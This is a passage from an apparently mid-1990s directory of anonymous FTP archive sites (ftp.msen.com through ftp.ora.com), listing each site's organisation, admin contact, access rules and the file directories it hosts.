RFCs; Solaris; Sun3.Xkernel; tech-reports + DEC WRL; Wade; X; Xmol + +Site : ftp.msen.com +Country: USA +GMT : -5 +Date : 29-Sep-94 +Source : nelson@crynwr.com (Russell Nelson) {posting}; dlist@ora.com +Alias : garnet.msen.com, nigel.msen.com +Admin : ftp-service@msen.com +Organ : Msen, Ann Arbor, Michigan +Server : +System : Unix +URL : ftp://ftp.msen.com/ +Comment: +Files : ann-arbor; comp.newprod archive; docs; emv; gopher; internet-review; + Msen; newsletters; packages [?]; systems [?]; vendor (Crynwr); + WAIS indices + +Site : ftp.msstate.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : rem@btr.com (Robert E. Maas) {posting} +Alias : archive.msstate.edu +Admin : ftpadmin@ftp.msstate.edu +Organ : Mississippi State University, , Mississippi +Server : +System : Unix +URL : ftp://ftp.msstate.edu/ +Comment: transfers are logged +Files : AI [empty?]; archives (ADS, bioloby, CAS, entomology, fineart online, + forent, grb search, nctp, RRTC, UCSC, W5YD); docs (bitnet, finding + addresses, history, internet, internetwork-mail-guide, words-l; + grad; MSU logos; Novell [empty]; PC (net, windows); shells; + Solaris2; Sun (bootp, newsprint, resolver, sendmail, talk, whois); + UCCC; Unix (mail, tpr) + +Site : ftp.msu.edu +Country: USA +GMT : -5 +Date : 22-Dec-94 +Source : old ftp-list +Alias : serv1.cl.msu.edu +Admin : ftpadmin@ftp.msu.edu +Organ : Michigan State University, Lansing, Michigan +Server : +System : Unix +URL : ftp://serv1.cl.msu.edu/ +Comment: please restrict off-campus access to non-primetime hours +Files : CMS (POP3-EMC2); docs (MSUnet, others); education (Internet & ED); + MacOS; MS-DOS (gopher, kermit, LWP4DOS, newsreaders, NUPOP, PCPrint, + Pegasus, Packet Drivers, PPP, utils); MS-Windows (gopher, Mosaic, + Netscape, PC Eudora, utils); Unix (apE, editors, gopher, news, + NeXTOS, sendmail, SunOS, utils, XWindows) + +Site : ftp.msu.su +Country: Russia +GMT : +2 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : unisun.msu.su +Admin : +Organ : Moscow State University, Moscow +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.msu.su/ +Comment: +Files : GNU; mbone; networking; RFCs; SGI; Sun + +Site : ftp.mtv.com +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : mtv.com +Admin : adamc@mtv.com (Adam Curry) [not any more...] +Organ : On-Ramp/MTV +Server : www.mtv.com, gopher.mtv.com +System : Unix +URL : ftp://ftp.mtv.com/ +Comment: attention: most stuff moved to metaverse.com, ftp appears to + contain not much, check gopher and www servers +Files : concerts; interviews; qotd; recording studio; reviews; sleaze; some + MTV info (depending on a lawsuit); vcroom + +Site : ftp.mv.com +Country: USA +GMT : -5 +Date : 22-May-94 +Source : dlist@ora.com; old ftp-list +Alias : mv.mv.com, beryl.mv.com +Admin : mv-admin@mv.mv.com (Mark Mallett) +Organ : MC Communications Inc., Litchfield, New Hampshire +Server : +System : Unix +URL : ftp://ftp.mv.com/ +Comment: directory pub/ddj; max. 5 users; we reserve the option of logging + all FTP activity +Files : baseball; copley; Doctor Dobb's Journal sources; MV info + +Site : ftp.nao.ac.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : top.nao.ac.jp +Admin : +Organ : National Astronomical Observatory +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.nao.ac.jp/ +Comment: +Files : hostdb; IERS; NAPSnet; sendmail + +Site : ftp.nasda.go.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : dbsvr.nasda.go.jp +Admin : +Organ : NAtional Space Development Agency +Server : +System : Unix +URL : ftp://ftp.nasda.go.jp/ +Comment: +Files : gopher; sample + +Site : ftp.ncc.go.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : ncc.go.jp +Alias : ras.ncc.go.jp +Admin : +Organ : National Cancer Centre +Server : gopher +System : Unix (SunOS 4.1) +URL : ftp://ftp.ncc.go.jp/ +Comment: successor of ncc.go.jp +Files : bio; genome; GNU; JCRB; Mac; mirror [?]; NCBI; net; news + +Site : ftp.ncc.up.pt +Country: Portugal +GMT : 0 +Date : 27-May-94 +Source : nam@ncc.up.pt (Nelma Moreira) +Alias : ciup1.ncc.up.pt +Admin : rvr@ncc.up.pt +Organ : Universidade de Porto (University of Porto), Porto, CIUP +Server : bart@ncc.up.pt (send a message with 'help' for instructions) +System : Unix +URL : ftp://ftp.ncc.up.pt/ +Comment: +Files : Astronomy; BSD43; elisp-archive; expect; fvwm; games; GNU; gopher; + isode; Linux; lisp; Mac; MS-DOS; net; news; NeXT; prolog; servers; + statlog; suit; TCL; TeX; Univel; utils; X; X11R6 + +Site : ftp.ncd.com +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : hettler@ask.uni-karlsruhe.de (Christian Hettler) +Alias : keymaster.ncd.com +Admin : ftpmaster@ncd.com (archive related questions) + support@ncd.com (NCD X-terminal and related software support), + support@pcx.ncd.com (PC-X software support), support@z-code.com + (for Z-mail and Z-fax support) +Organ : Network Computing Devices +Server : +System : Unix +URL : ftp://ftp.ncd.com/ +Comment: info@ncd.com for product info +Files : NCD; PC-X; Z-Code (Z-Mail, Z-Fax) + +Site : ftp.ncl.ac.uk +Country: UK +GMT : 0 +Date : 30-Oct-94 +Source : +Alias : buda.ncl.ac.uk [?], ftp.newcastle.ac.uk +Admin : postmaster@newcastle.ac.uk +Organ : University of Newcastle, Newcastle +Server : +System : Unix +URL : ftp://ftp.ncl.ac.uk/ +Comment: compression on the fly; valid DNS entry required (i.e. your host + must be 'resolvable', able to be found in the domain name system) +Files : cba; CDBOOT; dialup; DNS; ethernet; info; internet; itti; Mac; + MS-DOS; network-training; ngg; nrs; ntp; parallel; sendmail + Sundumps; Sunstuff + +Site : ftp.ncr.com +Country: USA +GMT : +Date : 26-Aug-94 +Source : belal@sco.com (Bela Lubkin> {posting}; Perry.Rovers@kub.nl +Alias : ncrinfo.ncr.com, ncrinfo.attgis.com +Admin : marks@ncrinfo.attgis.com (Peter Marks) (see README) +Organ : AT&T Global Information Solutions (Formerly NCR Corp) +Server : gopher://ncrinfo.attgis.com/ http://ncrinfo.attgis.com/ +System : Unix +URL : ftp://ftp.ncr.com/ +Comment: +Files : comp.sys.ncr; drube; NCR chips; NCR products (3600sys, comten, + federal, france, msgsc, pc, stargroup, teradb, vistium, wavelan; + parallel (conf.announcements); standards (io, nmf, performance) + +Site : ftp.ncsa.uiuc.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : larry.ncsa.uiuc.edu, idunno.ncsa.uiuc.edu, zaphod.ncsa.uiuc.edu +Admin : ftpadmin@ncsa.uiuc.edu, softdev@ncsa.uiuc.edu (NCSA tools), + archive-manager@ncsa.uiuc.edu (for the archive server) +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois +Server : archive-server@ncsa.uiuc.edu +System : Unix +URL : ftp://ftp.ncsa.uiuc.edu/ +Comment: HyperFTP users: use a '-' as the first character of your password; + Delphi users: enclose case-sensitive directory and filenames in ""; + max. 110 users; the NCSA archives are mirrored around the world!!! +Files : aff; BIMA; brochure; DEC_ALPHA; DTM; Docs; education; Global Models; + HDF (Hierarchical Data File system); LCA; Mac; misc (scientific and + file) formats; Mosaic (homesite); NCSA (Telnet/FTP/WWW programs); + PC; SGI; samples; sc22wg5; survey; Unix; Visualization; VR; Web + (WWW, mirrored on www.jsc.nasa.gov and numerous other sites); + x3j3 + +Site : ftp.near.net +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : dlist@ora.com; old ftp-list +Alias : bronze.near.net, radio.near.net +Admin : nearnet-eng@nic.near.net +Organ : New England Academic Regional Network NIC (service offering of + BBN Technology Services Inc., a whole subsidiary of Bolt, Beranek + and Newman Inc.) +Server : +System : Unix +URL : ftp://ftp.near.net/ +Comment: the NEARNET FTP archive; successor of nic.near.net; several files/ + directories limited to NEARnet hosts only +Files : CERFnet; Commerce Business Daily (in /cbd); docs; forms; Gopher; + image; Internet Talk Radio (ITR, in /talk-radio); internet-drafts; + internet-information; K12; mail-archives; maps; NEARNet info; + NeTraMet; nosupport directory; RFCs; seminars; ucp + +Site : ftp.nec.com +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : vivaldi.nec.com +Admin : ftp@ftp.nec.com +Organ : NEC System Labs Inc., Irving/Dallas, Texas, C&C Software Technology + Center (CSTC) +Server : +System : Unix +URL : ftp://ftp.nec.com/ +Comment: CSTC release of SOCKS is in /pub/security/socks.cstc; get a copy of + the README file in the top directory +Files : ecpa; GNU; Japan; Linux; mail; misc; modems; multimedia; news; + PC misc; PC net; products; RFCs; security; sendmail; slip; + Sun-fixes; TCL-TK; Unix; WWW; Weath; X11; X-misc + +Site : ftp.nectec.or.th +Country: Thailand +GMT : +7 +Date : 15-Dec-94 +Source : admin; MODERxx.ZIP; Simtel Mirror List +Alias : +Admin : trin@nwg.nectec.or.th (Trin Tantsetthi) +Organ : National Electronic and Computer Technology Center (NECTEC), + Ministry of Science, Technology and Environment, Bangkok +Server : ftpmail@ftp.nectec.or.th (local archive only) +System : Unix +URL : ftp://ftp.nectec.or.th/ +Comment: A large file repository site at a Thailand network gateway +Files : Dharma Electronic File Archive (mirror from sunsite.unc.edu, + buddhism); Electronic Frontier Foundation (mirror from ftp.eff.org); + GNU (mirror from prep.ai.mit.edu); Intel Corp (mirror from + ftp.intel.com); Internet drafts; Lao information (mirror from + mono1.cc.monach.edu.au); Linux (mirror from sunsite.unc.edu); + Leaque of Programming Freedom (mirror from prep.ait.mit.edu); + Macintosh software; Microsoft docs (mirror from ftp.microsoft.com); + MS-DOS games (mirror from ftp.uml.edu and ftp.uwp.edu); + MS-Windows 3 (mirror from ftp.cica.indiana.edu); NetBSD (mirror from + ftp.iastate.edu); OS/2 (mirror from hobbes.nmsu.edu); rec.travel + archive (mirror from ftp.cc.umanitoba.ca); RFCs; SimTel Software + Repository (mirror both msdos and win3); Software for Motorola MPUs; + Thai/Lao MS-DOS software (/pub/pc); Thailand info (/pub/info); Thai + daily news (/pub/news); soc.culture.thai FAQ (/soc.culture.thai); + Unix PD software (/pub/unix); USENET archives for + soc.culture.{burma,cambodia,laos,thai} and comp.sources.{unix, misc} + (/pub/archives); USENET Frequently Asked Questions (mirror from + rtfm.mit.edu); X11R6 and X contribution (mirror from ftp.x.org); + XFree86 (mirror from ftp.xfree86.org); + +Site : ftp.neosoft.com +Country: USA +GMT : -6 +Date : 25-Jan-94 +Source : Perry.Rovers@kub.nl +Alias : uuneo.neosoft.com +Admin : karl@neosoft.com +Organ : NeoSoft +Server : +System : Unix +URL : ftp://ftp.neosoft.com/ +Comment: this system is going to a new OS, new 3 Gb harddisk and more, some + things may not work right; Open 24 hours; max. 20 users; user + anonymous access denied [!] +Files : Food recipes of rec.food; NeoSoft info + +Site : ftp://ftp.net.ohio-state.edu/ +Country: USA +GMT : -6 +Date : 26-Jan-95 +Source : maf@net.ohio-state.edu (Mark A. Fullmer); old ftp-list +Alias : cicada.net.ohio-state.edu +Admin : ftp@net.ohio-state.edu +Organ : Ohio State University, , Ohio, Academic Technology Services, + Networking and Communications +Server : +System : Unix +URL : ftp://ftp.net.ohio-state.edu/ +Comment: successor of nisca.ircc.ohio-state.edu +Files : arpmon (perl scripts for generating ethernet<->IP address tables + by looking at ARP requests/replies); docs (IETF notes, RFCs); + fax related archive (incl. comp.dcom.fax archive, formerly alt.fax); + KarlBridge/KarlRouter; networking: sendmail, SNMP utils, mibs etc.; + packet driver collection + +Site : ftp.netcom.com +Country: USA +GMT : -8 +Date : 29-Sep-94 +Source : old ftp-list +Alias : server.netcom.com +Admin : +Organ : Netcom On-Line Communications Services Inc., Santa Clara, California +Server : +System : Unix +URL : ftp://ftp.netcom.com/ +Comment: transfers are logged; standard disclaimer applies; Netcom has + changed their directory structure from /pub/username to + /pub/firsttwocharactersofusername/username; there's an index + to files available from netcom, I think Jon Noring is maintaining + it, see /pub/no/noring +Files : computer game development stuff; several informational files + in /pub directory: every user has his/her own /pub directory; + Netcom info; aamram; AB1264; Acme; activis; alumlist; ASCUS; billa + (Space/Astro related GIFs, e.g. Shoemaker-Levey 9 (SL9), HST GIFs) + and SL9 sitelist; boutell (FAQ); bradleym (40Hex, IRC, KOH, NuKE); + gamedir; geoi310 (Japanese A6 CD-ROM products); GNO; GTU; Guides; + imagecft; Infes-station BBS (infes-station); info-deli; Iris; Isis; + kaminski; KBBS (tcsmith); lotus-cars; ltubbs (Enigma archive: + DiskExpress (DXP), Finfo, PMatno, VX-REXX runtime (VROBJ)); metal; + micromed; microspc; Militia; mnemonic; mushroom; Nascent (Linux CD); + net app; Netcom; netmail; newmedia; notgnu; Nutec; OPN; pearl-jam; + PineSoft; PPS-info; Seti; Silk; Simpsons (calliope); skylines; + softhelp; surfgear; Tetra-Soft; thinknet; Trek; tweek (FAQ); urimud; + US Network; UUCP; VE3SUN; veritools; vidgames; WD6CMU; Weitek; X3H6; + Yggdrasil (Linux CD); Zytek + +Site : ftp.netlib.org +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : +Alias : netlib2.cs.utk.edu +Admin : netlib_maintainer@netlib.org +Organ : University of Tennessee, Knoxville, Tennessee, CS dept. +Server : http://www.netlib.org/index.html +System : Unix +URL : ftp://ftp.netlib.org/ +Comment: also through gopher and WWW, http://www.netlib.org/nse/home.html +Files : aicm; alliant; amos; ampl; anl-reports; Apollo; att.com; benchmark; + bibnet; bihar; blas; bmp; C; C++; cephes; chammp; cheney-kincaid; + clapack; confdb; conformal; contin; crc; crpc; ddsv; domino; + eispack; elefunt; errata; f2c; fdlibm; fftpack; fishpack; fitpack; + floppy; fmm; fn; Fortran; Fortran-M; fp; gcv; genome; gmat; go; + graphics; harwell; hence; hompack; hpf; hypercube; IEEEcss; ijsa; + image; imsl; itpack; keyword; kincaid-cheney; la-net; lanczos; lanz; + lapack; laso; libs; linalg; linpack; list; listL; lp; machines; + magic; maspar; master; microscope; minpack; misc; mpi; na-digest; + na-net; nac.no; nag; napack; national software exchange (nse); + netlib; new2admin; news; newtoms; numeralgo; ode; odepack; odrpack; + opt; p4; papers; paragraph; parallel; paranoia; parkbench; parmacs; + pascal; patents; pbwg; pchip; pdes; performance; picl; pltmg; poly2; + polyhedra; polyhedron; popi; port; Posix; pppack; presto; + problem-set; pu; pvm; pvm3; quadpack; random; reqlog; research; + rkpack; scalapack; sched; scilib; seispack; Sequent; sfmm; shpcc94; + slap; slatec; sminpack; sort-pascal; sparse; sparse-blas; sparspak; + specfun; spin; sscpack; statistics; stoeplitz; stringsearch; + svdpack; templates; tennessee; toeplitz; toms; treegr; typesetting; + uncon; UTK; vanhuffel; vfftpack; vfftpk; vfnlib; voronoi; whois; + xmagic; xnetlib; xnl4; xnlindex; y12m + +Site : ftp.netmanage.com +Country: USA +GMT : -8 +Date : 25-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : netman-gate.netmanage.com +Admin : +Organ : Netmanage +Server : +System : Unix +URL : ftp://ftp.netmanage.com/ +Comment: +Files : bootp; pc nfsd; snmp; vb; Win snmp; Winsock + +Site : ftp.netsys.com +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : netsys.com +Admin : len@netsys.com (Len Rose) +Organ : Netsys Inc. +Server : WWW +System : Unix +URL : ftp://ftp.netsys.com/ +Comment: weather images moved to westsat.com; [check! pub?] +Files : 40Hex magazine archives; aleph1; freedom; getsat; irc; lanwan; mtrek; + NetSys info; Novell; patches; Phrack magazine archives; pictures; + quake; satellite; smc; smh; Sun; tklgifs; trinity; worldlists + +Site : ftp.nevada.edu +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : old ftp-list +Alias : post-office.nevada.edu, animal-farm.nevada.edu, nevada.edu +Admin : root@nevada.edu +Organ : University of Nevada - Las Vegas, Las Vegas, Nevada, System + Computing Services +Server : +System : Unix +URL : ftp://ftp.nevada.edu/ +Comment: Restrictions due to overwhelming usage during business hours: + weekends: 30 connections; weekdays 8pm-6am: 30 connections; + weekdays 6am-8pm: 10 connections; all times are PST (to + convert to GMT subtract 8 hours); directory: /pub/guitar; + provides space for people to run ftp aread; transfers are logged +Files : bass; bitnet; guitar; IBM PC; heathers; Las Vegas BBS list; liaison; + Linux; Mac; Minix; network; photo; RFCs; shadow3; Unix; VMS + +Site : ftp.next.com +Country: USA +GMT : -8 +Date : 11-Feb-94 +Source : next.com +Alias : +Admin : +Organ : NeXT Computer +Server : +System : NeXT 2.1 +URL : ftp://ftp.next.com/ +Comment: most files from next.com +Files : NeXT files (some sources still on next.com) + +Site : ftp.nic.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP Server List +Alias : amdreas.nic.de +Admin : ftp@nic.de +Organ : German Network Information Center (DE-NIC) +Server : +System : +URL : ftp://ftp.nic.de/ +Comment: +Files : + +Site : ftp.nic.surfnet.nl +Country: Netherlands +GMT : +1 +Date : 10-Sep-94 +Source : nl-ftp list as posted to nlnet.announce +Alias : info.nic.surfnet.nl, ftp.surfnet.nl +Admin : infoservices@surfnet.nl +Organ : INFOSERVICES: Royal (National) Library and Stichting Universitaire + Reken Faciliteiten (SURFnet), Utrecht +Server : mailserv@nic.surfnet.nl (send a message with 'help' in the body) +System : Unix +URL : ftp://ftp.nic.surfnet.nl/ +Comment: Open 24 hours; user 'ftp' is possible instead of 'anonymous' + also available through gopher (gopher.nic.surfnet.nl) and Wais; + directory structure has changed: see helpdesk/ftp-dir-changes-en.txt +Files : CERT-NL info; EARN info; FAQs; IETF; Internet Resource Guide; + mirrors: gopher, SimTel Software Repository: MS-DOS, MS-Windows, + windows (ftp.cica.indiana.edu), winsock; RARE; security; SURFnet + Info/Gids; University of Leiden + +Site : ftp.nig.ac.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : +Admin : ftp@nig.ac.jp +Organ : National Institute of Genetics +Server : +System : Unix +URL : ftp://ftp.nig.ac.jp/ +Comment: +Files : data; db; DDBJ; DNA; graphic; JOHO; lang; Mac; mirror [?]; MS-DOS; + NCBI toolbox; nentrez; news; PPP; protein; security; Unix + +Site : ftp.nijenrode.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : zeus.nijenrode.nl +Admin : steven@nijenrode.nl (Steven Hessing) +Organ : Universiteit Nijenrode (Nijenrode University), Nijenrode +Server : +System : Unix (IBM RS6000/340) +URL : ftp://ftp.nijenrode.nl/ +Comment: may only be used outside business hours; connections and transfers + are logged; max 10 users; currently in setupfase, they are afraid + of illegal use +Files : computing; docs (Big Dummy, RFC); GNU; Linux (Slackware); MS-DOS + (games, menu, packetdrivers, virus); people; security; Unix + +Site : ftp.nikhef.nl +Country: Netherlands +GMT : +1 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : nikhefh.nikhef.nl +Admin : e07@nikhef.nl (Eric Wassenaar) +Organ : Nederlands Instituut voor Kern- en Hogere Energie Fysica (Dutch + National Institute for Nuclear and High-Energy Physics, NIKHEF), + Amsterdam +Server : +System : Unix +URL : ftp://ftp.nikhef.nl/ +Comment: some weird bug causes a 'Hello World' message and the welcome + message to be shown the listing of / (not in the others) +Files : Atari; atlas; cosmicray; enigma; eps; ff; form; gajet; hepmix; + network; nucphys; preprints; rd11; RFCs; rtd94; siteinfo; + teleconferencing; vmdlep; vme2tp + +Site : ftp.nioz.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : sepia.nioz.nl +Admin : erwin@nioz.nl +Organ : Nederlands Instituut voor Onderzoek der Zee (Netherlands Institute + for Sea Research), Den Burg +Server : +System : Unix +URL : ftp://ftp.nioz.nl/ +Comment: currently uploading is not permitted; transfers are logged; +Files : ERSEN; GNU; Linux; sesame; TeX; Unix; X11; xrd-data + +Site : ftp.nipr.ac.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : hp9000.nipr.ac.jp +Admin : +Organ : National Institute of Polar Research +Server : +System : Unix +URL : ftp://ftp.nipr.ac.jp/ +Comment: +Files : CD-ROM; GNU; graphics; images; Ingres; JTeX; kakenhi; KCL; Mac; + Mosaic; NTP; Numerical; PC; Postgres; XYGraph + +Site : ftp.nips.ac.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : centg.nips.ac.jp +Admin : +Organ : National Institute for Physiological Sciences +Server : +System : Unix +URL : ftp://ftp.nips.ac.jp/ +Comment: +Files : IBM-PC; Mac; MS-Windows; NEC-PC98; originals; Unix + +Site : ftp.nis.garr.it +Country: Italy +GMT : +1 +Date : 22-May-94 +Source : dlist@ora.com +Alias : asso.nis.garr.it +Admin : staff@nis.garr.it +Organ : Gruppo . . . (Harmonisation Group for Research Networks), , + Network Information Service (NIS) +Server : +System : Unix +URL : ftp://ftp.nis.garr.it/ +Comment: +Files : GARR info; Gopher; MBONE; mirrors; Perl; pictures; sendmail; + service providers; SunOS; traceroute; WAIS; X500 + +Site : ftp.nisc.sri.com +Country: USA +GMT : -8 +Date : 17-Apr-94 +Source : old ftp-list +Alias : phoebus.nisc.sri.com +Admin : +Organ : SRI International, , NISC +Server : +System : Unix +URL : ftp://ftp.nisc.sri.com/ +Comment: no longer available: bboard-archives, netinfo, rfc, fyi and ien + (moved to ftp.isi.edu), internet-drafts, iesg and ietf + (moved to ds.internic.net) +Files : klh; mserv.tar.Z; read20; root-server; zone + +Site : ftp.nl.net +Country: Netherlands +GMT : +1 +Date : 10-Sep-94 +Source : nl-ftp list as posted to nlnet.announce +Alias : solair1.inter.nl.net,solair1.nluug.nl,ftp.nluug.nl +Admin : beheer@nl.net, beheer@nluug.nl, info-admin@nluug.nl +Organ : NLUUG (Netherlands Unix User Group)/NLNet, Amsterdam, + NLnet FTP Service +Server : mail-server@nl.net +System : Unix +URL : ftp://ftp.nl.net/ +Comment: user 'ftp' possible instead of 'anonymous'; 5 Gb; open 24 hours; + mainly intended for NLnet users, most stuff is mirrored +Files : ABC; some comp.sources groups; ITR; some mirrors (GNU, C-News, + Linux (Slackware, SLS, from ftp.funet.fi), archive.eu.net); FAQs; + RFCs; graphics and docs; networksoftware; X; newsarchive; CERT + warnings; mirror of the RIPE databases; Sun; TeX; 386BSD; + UC (archiver) + +Site : ftp.nlr.nl +Country: Netherlands +GMT : +1 +Date : 15-May-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Nederlands Lucht- en Ruimtevaart Laboratorium (Dutch Aeronautic and + Space Laboratory) +Server : +System : Unix +URL : ftp://ftp.nlr.nl/ +Comment: +Files : docs: Internet, NLR, NLRnet, products, security + +Site : ftp.noao.edu +Country: USA +GMT : -7 +Date : 23-Aug-94 +Source : David M. Swain (daves@regulus.demon.co.uk) +Alias : pandora.tuc.noao.edu, ftp.tuc.noao.edu +Admin : grandi@noao.edu +Organ : National Optical Astronomy Observatories (NOAO) +Server : +System : Unix +URL : ftp://ftp.noao.edu/ +Comment: +Files : aladdin; some astronomical catalogs; fts; gong; Gemini project info; + kpno; kpvt; IRAF archive; NOAO; nso; preprints; Solar Data; SN 1987 + Spectral Atlas Files; starform_project; TeX; utils; Weather + Satellite Pictures; wiyn + +Site : ftp.nosc.mil +Country: USA +GMT : -8 +Date : 24-Aug-94 +Source : baird@marlin.nosc.mil (John M. Baird); old ftp-list +Alias : trout.nosc.mil +Admin : +Organ : NOSC, San Diego, California +Server : +System : Unix +URL : ftp://ftp.nosc.mil/ +Comment: [I'm sorry to say this site is a mess.. they really ought to + clean up that /pub directory] +Files : aburto; ads; avp; benchmarks; BSD; ccmail; cds; clarkson; dct (doc, + src); dis; gimber; GAP; GAPFS; GNU; HAC; HACK; HGI; HIIP; IBM; + Internet info (articles); kwriter; MUC; modbot; mosaic; music_banjo; + network info; nfasdict; nsap; pat; PC NFS; pegasus; pgc; pktmux; + plant19; powerr; powers; Processing Graph Method; radio + communications; radio propagation; scales; SCAPS; secure 4.3; + security; sepo; sbookla; srf-guam; STA files; Sun-fixes; tac4; + telerobotics; techdoc; trumpet; wmail; vocar + +Site : ftp.novell.com +Country: USA +GMT : -7 +Date : 23-Aug-94 +Source : old ftp-list +Alias : ns.novell.com, bantu.provo.novell.com [not sure about ns anymore] +Admin : ftp@novell.com, webmaster@novell.com (WWW) +Organ : Novell, Provo, Utah +Server : +System : Unix +URL : ftp://ftp.novell.com/ +Comment: Publicly available portions of the Netwire forum; Access to + Novell's Online services is available through: + FTP: ftp.novell.com, Gopher: gopher.novell.com, + World Wide Web: www.novell.com; transfers are logged +Files : Novell utilities, patches, fixes, information etc.: Netwire, + Unixware; WWW + +Site : ftp.novell.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : novell.de, devnull.novell.de +Admin : ease-adm@novell.de +Organ : Novell Germany, Duesseldorf, Novell's Easy Access System Europe + (EASE) +Server : +System : +URL : ftp://ftp.novell.de/ +Comment: also available via gopher and WWW (http://www.novell.de/index.html); + the alias devnull.novell.de gave an I/O error on network device +Files : doc; Linux; Mosaic; netwire; Novell utilities, patches, fixes, information, on-line technical + support database etc.; OS/2; sjf-lwp; Unix; Unixware; Windows 3 + +Site : ftp.npac.syr.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : minerva.npac.syr.edu +Admin : ftp@ftp.npac.syr.edu +Organ : Syracuse University, Syracuse, New York, North-East Parallel + Architectures Center +Server : +System : Unix +URL : ftp://ftp.npac.syr.edu/ +Comment: successor of mach1.npac.syr.edu?; transfers are logged; + (de)compression, g(un)zipping and tarring on the fly +Files : AVS; benchmark; docs (benchmark, compphysics, distributed computing, + education, fortrand, infomall, non-su, NPAC, numerical appl, + pictures, REU, talks, tech-reports, technologica, TIS, usafmc); + HPFF; html (CSC, docs, haupt, movie, ranka); pcrc; runtime; server + +Site : ftp.nus.sg +Country: Singapore +GMT : +8 +Date : 17-Apr-94 +Source : +Alias : ftpserver.nus.sg +Admin : +Organ : National University of Singapore +Server : +System : Unix +URL : ftp://ftp.nus.sg/ +Comment: read ARCHIVES.TXT for info on which mirrors are maintained +Files : bio; docs; du.info; infoserver; infosystems; Mac; misc; multimedia; + NT; NUS; OOT; Opensys; PC; Unix (Linux, sunsite.unc.edu); Windows; + Winsock (Sunsite) + +Site : ftp.nvg.unit.no +Country: Norway +GMT : +1 +Date : 10-Sep-94 +Source : venaas@nvg.unit.no (Stig Venaas) +Alias : flode.nvg.unit.no +Admin : ftp@nvg.unit.no +Organ : University of Trondheim, Trondheim, Nettverksgruppa +Server : +System : Unix (Ultrix, VAX) +URL : ftp://ftp.nvg.unit.no/ +Comment: has a comment on each dir when changing directories +Files : CUD archives; IRC; Linux (Bogus release: mirror from + phys-pc61.med.unc.edu); Sam-Coupe files; Sinclair ZX-Spectrum; + Sounds; Usenet News including sources, binaries and FAQ's + +Site : ftp.nwcl.net +Country: USA +GMT : +Date : 24-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : nwcl.nwcl.net +Admin : +Organ : +Server : +System : +URL : ftp://ftp.nwcl.net/ +Comment: +Files : archivers; BBS; Linux (Slackware, old); Portal; SCO; SCO-ports; SLIP + + +Site : ftp.nwnet.net +Country: USA +GMT : -8 +Date : 22-May-94 +Source : dlist@ora.com +Alias : dns2.nwnet.net +Admin : +Organ : NorthWest Net +Server : +System : Unix +URL : ftp://ftp.nwnet.net/ +Comment: +Files : NWNet: net-ops, NIC, nodenews, info, policies, reports, services, + techkit, training, user docs + +Site : ftp.nyu.edu +Country: USA +GMT : -5 +Date : 17-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : cmcl2.nyu.edu +Admin : +Organ : New York University, New York, New York +Server : +System : Unix +URL : ftp://ftp.nyu.edu/ +Comment: max. 20 users; transfers are logged +Files : dec-faq; dec-sendmail; dec-station-managers-list; NYUnet; security; + social-science + +Site : ftp.oar.net +Country: USA +GMT : -6 +Date : 22-May-94 +Source : dlist@ora.com +Alias : malgudi.oar.net, gopher.oar.net +Admin : +Organ : Ohio Academic Research Network (OARNet) +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.oar.net/ +Comment: Gopher: gopher.oar.net +Files : dialup; DNS; docs; FYI; GEI; hocking; IETF-drafts; imr; mibs; news; + noc-training; OARnet info; occ; opstat; RFCs; saturn; sci.military; + security; sendmail; US.domain; vendors + +Site : ftp.ohm.york.ac.uk +Country: UK +GMT : 0 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : shiraz.ohm.york.ac.uk +Admin : ian@ohm.york.ac.uk +Organ : York University, York +Server : +System : Unix (NeXTStep 1.0) +URL : ftp://ftp.ohm.york.ac.uk/ +Comment: [check! stereo gifs?] +Files : 32016 2nd processor utilities; bass; BBC; creatures; csp; dmlb; ez; + HPV; ObjC; odd; stereo GIFs; tab; Theses; voice + +Site : ftp.okstate.edu +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : bubba.ucc.okstate.edu +Admin : +Organ : Oklahoma State University, , Oklahoma, CC +Server : gopher, wais, www +System : Unix +URL : ftp://ftp.okstate.edu/ +Comment: probably easier through WWW or gopher +Files : Mesonet (advisories, archive, data, products, summaries, news, + wxroundup) + +Site : ftp.ora.com +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list; jerry@ora.com (Jerry Peek) +Alias : 